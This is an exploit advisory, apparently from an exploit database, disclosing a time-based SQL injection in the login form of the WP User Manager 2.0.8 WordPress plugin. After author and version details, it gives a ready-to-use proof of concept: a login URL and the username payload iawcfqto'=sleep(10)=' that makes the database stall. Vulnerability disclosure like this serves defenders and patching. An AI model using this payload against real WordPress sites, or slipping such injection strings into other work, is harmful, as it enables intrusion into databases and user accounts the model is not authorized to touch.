WordPress WP User Manager 2.0.8 SQL Injection

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WP User Manager v2.0.8 (WordPress Plugin) - Time-Based SQL Injection
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# Exploit Title: WP User Manager v2.0.8 (WordPress Plugin) - Time-Based SQL Injection

# Date: [11-09-2018]

# Category: Webapps

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# Author: Socket_0x03 (Alvaro J. Gene)

# Email: Socket_0x03 (at) teraexe (dot) com

# Website: www.teraexe.com

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# Software Link: https://wordpress.org/plugins/wp-user-manager

# Plugin: WP User Manager

# Version: v2.0.8 (last version)

# File: login

# Input: username

# Language: This application is available in English language.

# Plugin Description: A WordPress plugin to create user profiles with registration,
login, password recovery, and other features.

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# Time-Based SQL Injection:

http://www.website.com/wordpress/index.php/login
Username: iawcfqto'=sleep(10)='
Password: password
Click on Login